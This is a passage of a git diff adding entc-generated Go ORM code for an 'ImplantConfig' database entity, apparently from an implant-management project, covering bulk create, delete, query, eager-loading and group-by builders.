func(i int, root context.Context) { + builder := iccb.builders[i] + builder.defaults() + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err := builder.check(); err != nil { + return nil, err + } + builder.mutation = mutation + nodes[i], specs[i] = builder.createSpec() + var err error + if i < len(mutators)-1 { + _, err = mutators[i+1].Mutate(root, iccb.builders[i+1].mutation) + } else { + spec := &sqlgraph.BatchCreateSpec{Nodes: specs} + // Invoke the actual operation on the latest mutation in the chain. + if err = sqlgraph.BatchCreate(ctx, iccb.driver, spec); err != nil { + if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + } + } + if err != nil { + return nil, err + } + mutation.id = &nodes[i].ID + mutation.done = true + if specs[i].ID.Value != nil { + id := specs[i].ID.Value.(int64) + nodes[i].ID = int(id) + } + return nodes[i], nil + }) + for i := len(builder.hooks) - 1; i >= 0; i-- { + mut = builder.hooks[i](mut) + } + mutators[i] = mut + }(i, ctx) + } + if len(mutators) > 0 { + if _, err := mutators[0].Mutate(ctx, iccb.builders[0].mutation); err != nil { + return nil, err + } + } + return nodes, nil +} + +// SaveX is like Save, but panics if an error occurs. +func (iccb *ImplantConfigCreateBulk) SaveX(ctx context.Context) []*ImplantConfig { + v, err := iccb.Save(ctx) + if err != nil { + panic(err) + } + return v +} + +// Exec executes the query. +func (iccb *ImplantConfigCreateBulk) Exec(ctx context.Context) error { + _, err := iccb.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iccb *ImplantConfigCreateBulk) ExecX(ctx context.Context) { + if err := iccb.Exec(ctx); err != nil { + panic(err) + } +} diff --git a/ent/implantconfig_delete.go b/ent/implantconfig_delete.go new file mode 100644 index 000000000..fae718c0f --- /dev/null +++ b/ent/implantconfig_delete.go @@ -0,0 +1,111 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "fmt" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/predicate" +) + +// ImplantConfigDelete is the builder for deleting a ImplantConfig entity. +type ImplantConfigDelete struct { + config + hooks []Hook + mutation *ImplantConfigMutation +} + +// Where appends a list predicates to the ImplantConfigDelete builder. +func (icd *ImplantConfigDelete) Where(ps ...predicate.ImplantConfig) *ImplantConfigDelete { + icd.mutation.Where(ps...) + return icd +} + +// Exec executes the deletion query and returns how many vertices were deleted. +func (icd *ImplantConfigDelete) Exec(ctx context.Context) (int, error) { + var ( + err error + affected int + ) + if len(icd.hooks) == 0 { + affected, err = icd.sqlExec(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + icd.mutation = mutation + affected, err = icd.sqlExec(ctx) + mutation.done = true + return affected, err + }) + for i := len(icd.hooks) - 1; i >= 0; i-- { + if icd.hooks[i] == nil { + return 0, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = icd.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, icd.mutation); err != nil { + return 0, err + } + } + return affected, err +} + +// ExecX is like Exec, but panics if an error occurs. +func (icd *ImplantConfigDelete) ExecX(ctx context.Context) int { + n, err := icd.Exec(ctx) + if err != nil { + panic(err) + } + return n +} + +func (icd *ImplantConfigDelete) sqlExec(ctx context.Context) (int, error) { + _spec := &sqlgraph.DeleteSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantconfig.Table, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + if ps := icd.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + return sqlgraph.DeleteNodes(ctx, icd.driver, _spec) +} + +// ImplantConfigDeleteOne is the builder for deleting a single ImplantConfig entity. +type ImplantConfigDeleteOne struct { + icd *ImplantConfigDelete +} + +// Exec executes the deletion query. +func (icdo *ImplantConfigDeleteOne) Exec(ctx context.Context) error { + n, err := icdo.icd.Exec(ctx) + switch { + case err != nil: + return err + case n == 0: + return &NotFoundError{implantconfig.Label} + default: + return nil + } +} + +// ExecX is like Exec, but panics if an error occurs. +func (icdo *ImplantConfigDeleteOne) ExecX(ctx context.Context) { + icdo.icd.ExecX(ctx) +} diff --git a/ent/implantconfig_query.go b/ent/implantconfig_query.go new file mode 100644 index 000000000..a637d6141 --- /dev/null +++ b/ent/implantconfig_query.go @@ -0,0 +1,1196 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "database/sql/driver" + "errors" + "fmt" + "math" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" + "github.com/kcarretto/realm/ent/predicate" +) + +// ImplantConfigQuery is the builder for querying ImplantConfig entities. +type ImplantConfigQuery struct { + config + limit *int + offset *int + unique *bool + order []OrderFunc + fields []string + predicates []predicate.ImplantConfig + // eager-loading edges. + withImplants *ImplantQuery + withServiceConfigs *ImplantServiceConfigQuery + withCallbackConfigs *ImplantCallbackConfigQuery + // intermediate query (i.e. traversal path). + sql *sql.Selector + path func(context.Context) (*sql.Selector, error) +} + +// Where adds a new predicate for the ImplantConfigQuery builder. +func (icq *ImplantConfigQuery) Where(ps ...predicate.ImplantConfig) *ImplantConfigQuery { + icq.predicates = append(icq.predicates, ps...) + return icq +} + +// Limit adds a limit step to the query. +func (icq *ImplantConfigQuery) Limit(limit int) *ImplantConfigQuery { + icq.limit = &limit + return icq +} + +// Offset adds an offset step to the query. +func (icq *ImplantConfigQuery) Offset(offset int) *ImplantConfigQuery { + icq.offset = &offset + return icq +} + +// Unique configures the query builder to filter duplicate records on query. +// By default, unique is set to true, and can be disabled using this method. +func (icq *ImplantConfigQuery) Unique(unique bool) *ImplantConfigQuery { + icq.unique = &unique + return icq +} + +// Order adds an order step to the query. +func (icq *ImplantConfigQuery) Order(o ...OrderFunc) *ImplantConfigQuery { + icq.order = append(icq.order, o...) + return icq +} + +// QueryImplants chains the current query on the "implants" edge. +func (icq *ImplantConfigQuery) QueryImplants() *ImplantQuery { + query := &ImplantQuery{config: icq.config} + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := icq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := icq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(implantconfig.Table, implantconfig.FieldID, selector), + sqlgraph.To(implant.Table, implant.FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, implantconfig.ImplantsTable, implantconfig.ImplantsColumn), + ) + fromU = sqlgraph.SetNeighbors(icq.driver.Dialect(), step) + return fromU, nil + } + return query +} + +// QueryServiceConfigs chains the current query on the "serviceConfigs" edge. +func (icq *ImplantConfigQuery) QueryServiceConfigs() *ImplantServiceConfigQuery { + query := &ImplantServiceConfigQuery{config: icq.config} + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := icq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := icq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(implantconfig.Table, implantconfig.FieldID, selector), + sqlgraph.To(implantserviceconfig.Table, implantserviceconfig.FieldID), + sqlgraph.Edge(sqlgraph.M2M, false, implantconfig.ServiceConfigsTable, implantconfig.ServiceConfigsPrimaryKey...), + ) + fromU = sqlgraph.SetNeighbors(icq.driver.Dialect(), step) + return fromU, nil + } + return query +} + +// QueryCallbackConfigs chains the current query on the "callbackConfigs" edge. +func (icq *ImplantConfigQuery) QueryCallbackConfigs() *ImplantCallbackConfigQuery { + query := &ImplantCallbackConfigQuery{config: icq.config} + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := icq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := icq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(implantconfig.Table, implantconfig.FieldID, selector), + sqlgraph.To(implantcallbackconfig.Table, implantcallbackconfig.FieldID), + sqlgraph.Edge(sqlgraph.M2M, false, implantconfig.CallbackConfigsTable, implantconfig.CallbackConfigsPrimaryKey...), + ) + fromU = sqlgraph.SetNeighbors(icq.driver.Dialect(), step) + return fromU, nil + } + return query +} + +// First returns the first ImplantConfig entity from the query. +// Returns a *NotFoundError when no ImplantConfig was found. +func (icq *ImplantConfigQuery) First(ctx context.Context) (*ImplantConfig, error) { + nodes, err := icq.Limit(1).All(ctx) + if err != nil { + return nil, err + } + if len(nodes) == 0 { + return nil, &NotFoundError{implantconfig.Label} + } + return nodes[0], nil +} + +// FirstX is like First, but panics if an error occurs. +func (icq *ImplantConfigQuery) FirstX(ctx context.Context) *ImplantConfig { + node, err := icq.First(ctx) + if err != nil && !IsNotFound(err) { + panic(err) + } + return node +} + +// FirstID returns the first ImplantConfig ID from the query. +// Returns a *NotFoundError when no ImplantConfig ID was found. +func (icq *ImplantConfigQuery) FirstID(ctx context.Context) (id int, err error) { + var ids []int + if ids, err = icq.Limit(1).IDs(ctx); err != nil { + return + } + if len(ids) == 0 { + err = &NotFoundError{implantconfig.Label} + return + } + return ids[0], nil +} + +// FirstIDX is like FirstID, but panics if an error occurs. +func (icq *ImplantConfigQuery) FirstIDX(ctx context.Context) int { + id, err := icq.FirstID(ctx) + if err != nil && !IsNotFound(err) { + panic(err) + } + return id +} + +// Only returns a single ImplantConfig entity found by the query, ensuring it only returns one. +// Returns a *NotSingularError when exactly one ImplantConfig entity is not found. +// Returns a *NotFoundError when no ImplantConfig entities are found. +func (icq *ImplantConfigQuery) Only(ctx context.Context) (*ImplantConfig, error) { + nodes, err := icq.Limit(2).All(ctx) + if err != nil { + return nil, err + } + switch len(nodes) { + case 1: + return nodes[0], nil + case 0: + return nil, &NotFoundError{implantconfig.Label} + default: + return nil, &NotSingularError{implantconfig.Label} + } +} + +// OnlyX is like Only, but panics if an error occurs. +func (icq *ImplantConfigQuery) OnlyX(ctx context.Context) *ImplantConfig { + node, err := icq.Only(ctx) + if err != nil { + panic(err) + } + return node +} + +// OnlyID is like Only, but returns the only ImplantConfig ID in the query. +// Returns a *NotSingularError when exactly one ImplantConfig ID is not found. +// Returns a *NotFoundError when no entities are found. +func (icq *ImplantConfigQuery) OnlyID(ctx context.Context) (id int, err error) { + var ids []int + if ids, err = icq.Limit(2).IDs(ctx); err != nil { + return + } + switch len(ids) { + case 1: + id = ids[0] + case 0: + err = &NotFoundError{implantconfig.Label} + default: + err = &NotSingularError{implantconfig.Label} + } + return +} + +// OnlyIDX is like OnlyID, but panics if an error occurs. +func (icq *ImplantConfigQuery) OnlyIDX(ctx context.Context) int { + id, err := icq.OnlyID(ctx) + if err != nil { + panic(err) + } + return id +} + +// All executes the query and returns a list of ImplantConfigs. +func (icq *ImplantConfigQuery) All(ctx context.Context) ([]*ImplantConfig, error) { + if err := icq.prepareQuery(ctx); err != nil { + return nil, err + } + return icq.sqlAll(ctx) +} + +// AllX is like All, but panics if an error occurs. +func (icq *ImplantConfigQuery) AllX(ctx context.Context) []*ImplantConfig { + nodes, err := icq.All(ctx) + if err != nil { + panic(err) + } + return nodes +} + +// IDs executes the query and returns a list of ImplantConfig IDs. +func (icq *ImplantConfigQuery) IDs(ctx context.Context) ([]int, error) { + var ids []int + if err := icq.Select(implantconfig.FieldID).Scan(ctx, &ids); err != nil { + return nil, err + } + return ids, nil +} + +// IDsX is like IDs, but panics if an error occurs. +func (icq *ImplantConfigQuery) IDsX(ctx context.Context) []int { + ids, err := icq.IDs(ctx) + if err != nil { + panic(err) + } + return ids +} + +// Count returns the count of the given query. +func (icq *ImplantConfigQuery) Count(ctx context.Context) (int, error) { + if err := icq.prepareQuery(ctx); err != nil { + return 0, err + } + return icq.sqlCount(ctx) +} + +// CountX is like Count, but panics if an error occurs. +func (icq *ImplantConfigQuery) CountX(ctx context.Context) int { + count, err := icq.Count(ctx) + if err != nil { + panic(err) + } + return count +} + +// Exist returns true if the query has elements in the graph. +func (icq *ImplantConfigQuery) Exist(ctx context.Context) (bool, error) { + if err := icq.prepareQuery(ctx); err != nil { + return false, err + } + return icq.sqlExist(ctx) +} + +// ExistX is like Exist, but panics if an error occurs. +func (icq *ImplantConfigQuery) ExistX(ctx context.Context) bool { + exist, err := icq.Exist(ctx) + if err != nil { + panic(err) + } + return exist +} + +// Clone returns a duplicate of the ImplantConfigQuery builder, including all associated steps. It can be +// used to prepare common query builders and use them differently after the clone is made. +func (icq *ImplantConfigQuery) Clone() *ImplantConfigQuery { + if icq == nil { + return nil + } + return &ImplantConfigQuery{ + config: icq.config, + limit: icq.limit, + offset: icq.offset, + order: append([]OrderFunc{}, icq.order...), + predicates: append([]predicate.ImplantConfig{}, icq.predicates...), + withImplants: icq.withImplants.Clone(), + withServiceConfigs: icq.withServiceConfigs.Clone(), + withCallbackConfigs: icq.withCallbackConfigs.Clone(), + // clone intermediate query. + sql: icq.sql.Clone(), + path: icq.path, + } +} + +// WithImplants tells the query-builder to eager-load the nodes that are connected to +// the "implants" edge. The optional arguments are used to configure the query builder of the edge. +func (icq *ImplantConfigQuery) WithImplants(opts ...func(*ImplantQuery)) *ImplantConfigQuery { + query := &ImplantQuery{config: icq.config} + for _, opt := range opts { + opt(query) + } + icq.withImplants = query + return icq +} + +// WithServiceConfigs tells the query-builder to eager-load the nodes that are connected to +// the "serviceConfigs" edge. The optional arguments are used to configure the query builder of the edge. +func (icq *ImplantConfigQuery) WithServiceConfigs(opts ...func(*ImplantServiceConfigQuery)) *ImplantConfigQuery { + query := &ImplantServiceConfigQuery{config: icq.config} + for _, opt := range opts { + opt(query) + } + icq.withServiceConfigs = query + return icq +} + +// WithCallbackConfigs tells the query-builder to eager-load the nodes that are connected to +// the "callbackConfigs" edge. The optional arguments are used to configure the query builder of the edge. +func (icq *ImplantConfigQuery) WithCallbackConfigs(opts ...func(*ImplantCallbackConfigQuery)) *ImplantConfigQuery { + query := &ImplantCallbackConfigQuery{config: icq.config} + for _, opt := range opts { + opt(query) + } + icq.withCallbackConfigs = query + return icq +} + +// GroupBy is used to group vertices by one or more fields/columns. +// It is often used with aggregate functions, like: count, max, mean, min, sum. +// +// Example: +// +// var v []struct { +// Name string `json:"name,omitempty"` +// Count int `json:"count,omitempty"` +// } +// +// client.ImplantConfig.Query(). +// GroupBy(implantconfig.FieldName). +// Aggregate(ent.Count()). +// Scan(ctx, &v) +// +func (icq *ImplantConfigQuery) GroupBy(field string, fields ...string) *ImplantConfigGroupBy { + group := &ImplantConfigGroupBy{config: icq.config} + group.fields = append([]string{field}, fields...) + group.path = func(ctx context.Context) (prev *sql.Selector, err error) { + if err := icq.prepareQuery(ctx); err != nil { + return nil, err + } + return icq.sqlQuery(ctx), nil + } + return group +} + +// Select allows the selection one or more fields/columns for the given query, +// instead of selecting all fields in the entity. +// +// Example: +// +// var v []struct { +// Name string `json:"name,omitempty"` +// } +// +// client.ImplantConfig.Query(). +// Select(implantconfig.FieldName). +// Scan(ctx, &v) +// +func (icq *ImplantConfigQuery) Select(fields ...string) *ImplantConfigSelect { + icq.fields = append(icq.fields, fields...) + return &ImplantConfigSelect{ImplantConfigQuery: icq} +} + +func (icq *ImplantConfigQuery) prepareQuery(ctx context.Context) error { + for _, f := range icq.fields { + if !implantconfig.ValidColumn(f) { + return &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} + } + } + if icq.path != nil { + prev, err := icq.path(ctx) + if err != nil { + return err + } + icq.sql = prev + } + return nil +} + +func (icq *ImplantConfigQuery) sqlAll(ctx context.Context) ([]*ImplantConfig, error) { + var ( + nodes = []*ImplantConfig{} + _spec = icq.querySpec() + loadedTypes = [3]bool{ + icq.withImplants != nil, + icq.withServiceConfigs != nil, + icq.withCallbackConfigs != nil, + } + ) + _spec.ScanValues = func(columns []string) ([]interface{}, error) { + node := &ImplantConfig{config: icq.config} + nodes = append(nodes, node) + return node.scanValues(columns) + } + _spec.Assign = func(columns []string, values []interface{}) error { + if len(nodes) == 0 { + return fmt.Errorf("ent: Assign called without calling ScanValues") + } + node := nodes[len(nodes)-1] + node.Edges.loadedTypes = loadedTypes + return node.assignValues(columns, values) + } + if err := sqlgraph.QueryNodes(ctx, icq.driver, _spec); err != nil { + return nil, err + } + if len(nodes) == 0 { + return nodes, nil + } + + if query := icq.withImplants; query != nil { + fks := make([]driver.Value, 0, len(nodes)) + nodeids := make(map[int]*ImplantConfig) + for i := range nodes { + fks = append(fks, nodes[i].ID) + nodeids[nodes[i].ID] = nodes[i] + nodes[i].Edges.Implants = []*Implant{} + } + query.withFKs = true + query.Where(predicate.Implant(func(s *sql.Selector) { + s.Where(sql.InValues(implantconfig.ImplantsColumn, fks...)) + })) + neighbors, err := query.All(ctx) + if err != nil { + return nil, err + } + for _, n := range neighbors { + fk := n.implant_config + if fk == nil { + return nil, fmt.Errorf(`foreign-key "implant_config" is nil for node %v`, n.ID) + } + node, ok := nodeids[*fk] + if !ok { + return nil, fmt.Errorf(`unexpected foreign-key "implant_config" returned %v for node %v`, *fk, n.ID) + } + node.Edges.Implants = append(node.Edges.Implants, n) + } + } + + if query := icq.withServiceConfigs; query != nil { + fks := make([]driver.Value, 0, len(nodes)) + ids := make(map[int]*ImplantConfig, len(nodes)) + for _, node := range nodes { + ids[node.ID] = node + fks = append(fks, node.ID) + node.Edges.ServiceConfigs = []*ImplantServiceConfig{} + } + var ( + edgeids []int + edges = make(map[int][]*ImplantConfig) + ) + _spec := &sqlgraph.EdgeQuerySpec{ + Edge: &sqlgraph.EdgeSpec{ + Inverse: false, + Table: implantconfig.ServiceConfigsTable, + Columns: implantconfig.ServiceConfigsPrimaryKey, + }, + Predicate: func(s *sql.Selector) { + s.Where(sql.InValues(implantconfig.ServiceConfigsPrimaryKey[0], fks...)) + }, + ScanValues: func() [2]interface{} { + return [2]interface{}{new(sql.NullInt64), new(sql.NullInt64)} + }, + Assign: func(out, in interface{}) error { + eout, ok := out.(*sql.NullInt64) + if !ok || eout == nil { + return fmt.Errorf("unexpected id value for edge-out") + } + ein, ok := in.(*sql.NullInt64) + if !ok || ein == nil { + return fmt.Errorf("unexpected id value for edge-in") + } + outValue := int(eout.Int64) + inValue := int(ein.Int64) + node, ok := ids[outValue] + if !ok { + return fmt.Errorf("unexpected node id in edges: %v", outValue) + } + if _, ok := edges[inValue]; !ok { + edgeids = append(edgeids, inValue) + } + edges[inValue] = append(edges[inValue], node) + return nil + }, + } + if err := sqlgraph.QueryEdges(ctx, icq.driver, _spec); err != nil { + return nil, fmt.Errorf(`query edges "serviceConfigs": %w`, err) + } + query.Where(implantserviceconfig.IDIn(edgeids...)) + neighbors, err := query.All(ctx) + if err != nil { + return nil, err + } + for _, n := range neighbors { + nodes, ok := edges[n.ID] + if !ok { + return nil, fmt.Errorf(`unexpected "serviceConfigs" node returned %v`, n.ID) + } + for i := range nodes { + nodes[i].Edges.ServiceConfigs = append(nodes[i].Edges.ServiceConfigs, n) + } + } + } + + if query := icq.withCallbackConfigs; query != nil { + fks := make([]driver.Value, 0, len(nodes)) + ids := make(map[int]*ImplantConfig, len(nodes)) + for _, node := range nodes { + ids[node.ID] = node + fks = append(fks, node.ID) + node.Edges.CallbackConfigs = []*ImplantCallbackConfig{} + } + var ( + edgeids []int + edges = make(map[int][]*ImplantConfig) + ) + _spec := &sqlgraph.EdgeQuerySpec{ + Edge: &sqlgraph.EdgeSpec{ + Inverse: false, + Table: implantconfig.CallbackConfigsTable, + Columns: implantconfig.CallbackConfigsPrimaryKey, + }, + Predicate: func(s *sql.Selector) { + s.Where(sql.InValues(implantconfig.CallbackConfigsPrimaryKey[0], fks...)) + }, + ScanValues: func() [2]interface{} { + return [2]interface{}{new(sql.NullInt64), new(sql.NullInt64)} + }, + Assign: func(out, in interface{}) error { + eout, ok := out.(*sql.NullInt64) + if !ok || eout == nil { + return fmt.Errorf("unexpected id value for edge-out") + } + ein, ok := in.(*sql.NullInt64) + if !ok || ein == nil { + return fmt.Errorf("unexpected id value for edge-in") + } + outValue := int(eout.Int64) + inValue := int(ein.Int64) + node, ok := ids[outValue] + if !ok { + return fmt.Errorf("unexpected node id in edges: %v", outValue) + } + if _, ok := edges[inValue]; !ok { + edgeids = append(edgeids, inValue) + } + edges[inValue] = append(edges[inValue], node) + return nil + }, + } + if err := sqlgraph.QueryEdges(ctx, icq.driver, _spec); err != nil { + return nil, fmt.Errorf(`query edges "callbackConfigs": %w`, err) + } + query.Where(implantcallbackconfig.IDIn(edgeids...)) + neighbors, err := query.All(ctx) + if err != nil { + return nil, err + } + for _, n := range neighbors { + nodes, ok := edges[n.ID] + if !ok { + return nil, fmt.Errorf(`unexpected "callbackConfigs" node returned %v`, n.ID) + } + for i := range nodes { + nodes[i].Edges.CallbackConfigs = append(nodes[i].Edges.CallbackConfigs, n) + } + } + } + + return nodes, nil +} + +func (icq *ImplantConfigQuery) sqlCount(ctx context.Context) (int, error) { + _spec := icq.querySpec() + _spec.Node.Columns = icq.fields + if len(icq.fields) > 0 { + _spec.Unique = icq.unique != nil && *icq.unique + } + return sqlgraph.CountNodes(ctx, icq.driver, _spec) +} + +func (icq *ImplantConfigQuery) sqlExist(ctx context.Context) (bool, error) { + n, err := icq.sqlCount(ctx) + if err != nil { + return false, fmt.Errorf("ent: check existence: %w", err) + } + return n > 0, nil +} + +func (icq *ImplantConfigQuery) querySpec() *sqlgraph.QuerySpec { + _spec := &sqlgraph.QuerySpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantconfig.Table, + Columns: implantconfig.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + From: icq.sql, + Unique: true, + } + if unique := icq.unique; unique != nil { + _spec.Unique = *unique + } + if fields := icq.fields; len(fields) > 0 { + _spec.Node.Columns = make([]string, 0, len(fields)) + _spec.Node.Columns = append(_spec.Node.Columns, implantconfig.FieldID) + for i := range fields { + if fields[i] != implantconfig.FieldID { + _spec.Node.Columns = append(_spec.Node.Columns, fields[i]) + } + } + } + if ps := icq.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if limit := icq.limit; limit != nil { + _spec.Limit = *limit + } + if offset := icq.offset; offset != nil { + _spec.Offset = *offset + } + if ps := icq.order; len(ps) > 0 { + _spec.Order = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + return _spec +} + +func (icq *ImplantConfigQuery) sqlQuery(ctx context.Context) *sql.Selector { + builder := sql.Dialect(icq.driver.Dialect()) + t1 := builder.Table(implantconfig.Table) + columns := icq.fields + if len(columns) == 0 { + columns = implantconfig.Columns + } + selector := builder.Select(t1.Columns(columns...)...).From(t1) + if icq.sql != nil { + selector = icq.sql + selector.Select(selector.Columns(columns...)...) + } + if icq.unique != nil && *icq.unique { + selector.Distinct() + } + for _, p := range icq.predicates { + p(selector) + } + for _, p := range icq.order { + p(selector) + } + if offset := icq.offset; offset != nil { + // limit is mandatory for offset clause. We start + // with default value, and override it below if needed. + selector.Offset(*offset).Limit(math.MaxInt32) + } + if limit := icq.limit; limit != nil { + selector.Limit(*limit) + } + return selector +} + +// ImplantConfigGroupBy is the group-by builder for ImplantConfig entities. +type ImplantConfigGroupBy struct { + config + fields []string + fns []AggregateFunc + // intermediate query (i.e. traversal path). + sql *sql.Selector + path func(context.Context) (*sql.Selector, error) +} + +// Aggregate adds the given aggregation functions to the group-by query. +func (icgb *ImplantConfigGroupBy) Aggregate(fns ...AggregateFunc) *ImplantConfigGroupBy { + icgb.fns = append(icgb.fns, fns...) + return icgb +} + +// Scan applies the group-by query and scans the result into the given value. +func (icgb *ImplantConfigGroupBy) Scan(ctx context.Context, v interface{}) error { + query, err := icgb.path(ctx) + if err != nil { + return err + } + icgb.sql = query + return icgb.sqlScan(ctx, v) +} + +// ScanX is like Scan, but panics if an error occurs. +func (icgb *ImplantConfigGroupBy) ScanX(ctx context.Context, v interface{}) { + if err := icgb.Scan(ctx, v); err != nil { + panic(err) + } +} + +// Strings returns list of strings from group-by. +// It is only allowed when executing a group-by query with one field. +func (icgb *ImplantConfigGroupBy) Strings(ctx context.Context) ([]string, error) { + if len(icgb.fields) > 1 { + return nil, errors.New("ent: ImplantConfigGroupBy.Strings is not achievable when grouping more than 1 field") + } + var v []string + if err := icgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// StringsX is like Strings, but panics if an error occurs. +func (icgb *ImplantConfigGroupBy) StringsX(ctx context.Context) []string { + v, err := icgb.Strings(ctx) + if err != nil { + panic(err) + } + return v +} + +// String returns a single string from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (icgb *ImplantConfigGroupBy) String(ctx context.Context) (_ string, err error) { + var v []string + if v, err = icgb.Strings(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantconfig.Label} + default: + err = fmt.Errorf("ent: ImplantConfigGroupBy.Strings returned %d results when one was expected", len(v)) + } + return +} + +// StringX is like String, but panics if an error occurs. +func (icgb *ImplantConfigGroupBy) StringX(ctx context.Context) string { + v, err := icgb.String(ctx) + if err != nil { + panic(err) + } + return v +} + +// Ints returns list of ints from group-by. +// It is only allowed when executing a group-by query with one field. +func (icgb *ImplantConfigGroupBy) Ints(ctx context.Context) ([]int, error) { + if len(icgb.fields) > 1 { + return nil, errors.New("ent: ImplantConfigGroupBy.Ints is not achievable when grouping more than 1 field") + } + var v []int + if err := icgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// IntsX is like Ints, but panics if an error occurs. +func (icgb *ImplantConfigGroupBy) IntsX(ctx context.Context) []int { + v, err := icgb.Ints(ctx) + if err != nil { + panic(err) + } + return v +} + +// Int returns a single int from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (icgb *ImplantConfigGroupBy) Int(ctx context.Context) (_ int, err error) { + var v []int + if v, err = icgb.Ints(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantconfig.Label} + default: + err = fmt.Errorf("ent: ImplantConfigGroupBy.Ints returned %d results when one was expected", len(v)) + } + return +} + +// IntX is like Int, but panics if an error occurs. +func (icgb *ImplantConfigGroupBy) IntX(ctx context.Context) int { + v, err := icgb.Int(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64s returns list of float64s from group-by. +// It is only allowed when executing a group-by query with one field. +func (icgb *ImplantConfigGroupBy) Float64s(ctx context.Context) ([]float64, error) { + if len(icgb.fields) > 1 { + return nil, errors.New("ent: ImplantConfigGroupBy.Float64s is not achievable when grouping more than 1 field") + } + var v []float64 + if err := icgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// Float64sX is like Float64s, but panics if an error occurs. +func (icgb *ImplantConfigGroupBy) Float64sX(ctx context.Context) []float64 { + v, err := icgb.Float64s(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64 returns a single float64 from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (icgb *ImplantConfigGroupBy) Float64(ctx context.Context) (_ float64, err error) { + var v []float64 + if v, err = icgb.Float64s(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantconfig.Label} + default: + err = fmt.Errorf("ent: ImplantConfigGroupBy.Float64s returned %d results when one was expected", len(v)) + } + return +} + +// Float64X is like Float64, but panics if an error occurs. +func (icgb *ImplantConfigGroupBy) Float64X(ctx context.Context) float64 { + v, err := icgb.Float64(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bools returns list of bools from group-by. +// It is only allowed when executing a group-by query with one field. +func (icgb *ImplantConfigGroupBy) Bools(ctx context.Context) ([]bool, error) { + if len(icgb.fields) > 1 { + return nil, errors.New("ent: ImplantConfigGroupBy.Bools is not achievable when grouping more than 1 field") + } + var v []bool + if err := icgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// BoolsX is like Bools, but panics if an error occurs. +func (icgb *ImplantConfigGroupBy) BoolsX(ctx context.Context) []bool { + v, err := icgb.Bools(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bool returns a single bool from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (icgb *ImplantConfigGroupBy) Bool(ctx context.Context) (_ bool, err error) { + var v []bool + if v, err = icgb.Bools(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantconfig.Label} + default: + err = fmt.Errorf("ent: ImplantConfigGroupBy.Bools returned %d results when one was expected", len(v)) + } + return +} + +// BoolX is like Bool, but panics if an error occurs. +func (icgb *ImplantConfigGroupBy) BoolX(ctx context.Context) bool { + v, err := icgb.Bool(ctx) + if err != nil { + panic(err) + } + return v +} + +func (icgb *ImplantConfigGroupBy) sqlScan(ctx context.Context, v interface{}) error { + for _, f := range icgb.fields { + if !implantconfig.ValidColumn(f) { + return &ValidationError{Name: f, err: fmt.Errorf("invalid field %q for group-by", f)} + } + } + selector := icgb.sqlQuery() + if err := selector.Err(); err != nil { + return err + } + rows := &sql.Rows{} + query, args := selector.Query() + if err := icgb.driver.Query(ctx, query, args, rows); err != nil { + return err + } + defer rows.Close() + 